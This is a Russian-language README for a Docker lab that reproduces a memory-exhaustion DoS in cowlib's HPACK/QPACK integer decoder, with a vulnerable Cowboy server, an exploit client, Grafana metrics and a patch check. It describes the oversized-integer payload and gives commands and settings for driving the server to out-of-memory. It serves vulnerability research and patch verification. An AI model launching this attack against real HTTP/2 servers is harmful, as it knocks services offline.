
Воспроизводимая лаборатория Docker для CVE-2026-59248: DoS-атака на исчерпание памяти через целочисленный декодер HPACK/QPACK в cowlib, с клиентом эксплойта, сервером Cowboy и метриками Grafana.
Уязвимость ограничения ресурсов в cowlib от ninenines (≥ 2.0.0, < 2.19.0) позволяет неаутентифицированному удалённому узлу HTTP/2 или HTTP/3 исчерпать память на уязвимом сервере (или клиенте) и вызвать отказ в обслуживании.
Декодер целых чисел с префиксом HPACK и QPACK
cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, вызываемый из
cow_hpack:decode/2 и cow_qpack:decode_field_section/3) читает
октеты продолжения, пока не найдёт тот, у которого старший бит сброшен, вычисляя
Int + (Value bsl M) на каждом шаге, при этом сдвиг M растёт на 7 за
октет. Нет никакого ограничения на количество октетов продолжения, на
результирующую разрядность или на значение — декодер потребляет любую закодированную
длину, которую предоставит узел. Поскольку целые числа Erlang неизменяемы, каждое
промежуточное Value bsl M и каждое обновление аккумулятора выделяют свежий
bignum, разрядность которого растёт линейно с числом обработанных на данный момент октетов;
в сумме за весь процесс декодирования транзиентное выделение памяти составляет O(n²) от
закодированной длины.
Одно максимальное индексированное представление HPACK, переносимое в одной паре кадров
HTTP/2 HEADERS + CONTINUATION — в пределах значения Cowboy по умолчанию
max_frame_size_received — может вызвать сотни мегабайт транзиентного
выделения памяти и интенсивную работу сборщика мусора, прежде чем результирующий индекс
таблицы заголовков будет отклонён как недопустимый. Повторные или параллельные соединения умножают
нагрузку и могут довести виртуальную машину Erlang до исчерпания памяти.
Cowlib — это HTTP-парсер, используемый Cowboy, плагином управления RabbitMQ и другими серверами и клиентами HTTP/2 и HTTP/3 для Erlang/Elixir, поэтому любая открытая конечная точка, принимающая HPACK или QPACK от недоверенного узла, достижима.
Исправление: cowlib 2.19.0 добавляет проверку when M < 32 в dec_big_int/3,
отклоняя слишком большие целые числа после нескольких октетов.
Эта лаборатория воспроизводит атаку (preface → SETTINGS → HEADERS → CONTINUATION
с чрезмерно большим целым числом HPACK 0xFF…) против реального сервера Cowboy и
фиксирует всплеск памяти BEAM в Prometheus/Grafana — до и после
применения патча.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy фиксирует точную версию cowlib: cowboy 2.17.0 поставляется с уязвимой
cowlib 2.18.0 (cowboy 2.18.0 включает исправленную cowlib 2.19.0). В этой лабораторной работе
cowlib принудительно задаётся через override: true, поэтому демонстрация перехода от уязвимости к исправлению — это
изменение в одну строку в server/mix.exs.
| Сервис | URL |
|---|---|
| Сервер Cowboy | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| Сервер /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
Дашборд Grafana "cowlib 2.18.0 HPACK memory DoS" автоматически подготавливается (без ручной настройки источника данных или панелей).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
Порты: стек публикует на хосте
8080(Cowboy),9090(Prometheus),3000(Grafana). Убедитесь, что они свободны перед запуском, и повторно запускайте клиент эксплойта сdocker compose run --rmкаждый раз — сервис Compose запускается один раз и завершается.
| Переменная | По умолчанию | Эффект |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | количество октетов 0xFF в HPACK-целом (бомба на 512 КБ; max_fragmented_header_block_size сервера допускает до 1 МБ). |
NUM_CONCURRENT | 100 | одновременные асинхронные соединения — каждое остаётся активным для декодирования в течение ATTACK_KEEPALIVE_SECS. Увеличьте до 200+, чтобы надёжно вызвать OOM (превышение 1g) контейнера сервера. |
SOCKET_TIMEOUT | 15 | секунды для каждого рукопожатия соединения |
ATTACK_KEEPALIVE_SECS | 60 | как долго каждое соединение остаётся активным после отправки |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | цель |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py